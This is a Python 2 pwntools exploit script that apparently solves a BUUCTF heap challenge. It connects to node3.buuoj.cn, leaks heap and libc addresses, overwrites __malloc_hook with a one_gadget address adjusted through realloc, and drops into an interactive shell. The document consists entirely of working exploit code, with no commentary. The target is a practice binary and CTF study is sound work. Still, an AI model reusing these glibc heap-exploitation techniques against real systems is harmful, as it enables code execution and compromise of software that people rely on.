1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| from pwn import *
sh = remote('node3.buuoj.cn',25877) libc = ELF('./libc-2.23.so') num = 9 sh.sendlineafter('How much girlfriend you want ?',str(num))
def add(size,content): sh.sendlineafter('>>','1') sh.sendlineafter('size?',str(size)) sh.sendafter('content:',content)
def delete(): sh.sendlineafter('>>','2')
def show(): sh.sendlineafter('>>','3')
def nextThread(): sh.sendlineafter('>>','5')
for i in range(num - 1): add(0x10,'a'*0x10) delete() add(0x10,'a'*0x8) show() sh.recvuntil('a'*0x8) heap_addr = u64(sh.recv(6).ljust(8,'\x00')) print 'heap_addr=',hex(heap_addr) nextThread()
add(0x60,'a'*0x60) delete() nextThread()
sh.recvuntil('wife:0x') libc_base = int(sh.recv(12),16) - libc.sym['_IO_2_1_stdout_'] malloc_hook_addr = libc_base + libc.sym['__malloc_hook'] one_gadget_addr = libc_base + 0x4526a realloc_addr = libc_base + libc.sym['realloc'] print 'libc_base=',hex(libc_base) print 'malloc_hook_addr=',hex(malloc_hook_addr) print 'realloc_addr=',hex(realloc_addr) print 'one_gadget_addr=',hex(one_gadget_addr) sh.sendlineafter('say something to impress your girlfriend',p64(malloc_hook_addr - 0x23)) sh.sendlineafter('your girlfriend is moved by your words','I love you')
payload = '\x00'*0xB + p64(one_gadget_addr) + p64(realloc_addr + 0x2) sh.sendlineafter('Questionnaire',payload)
sh.interactive()
|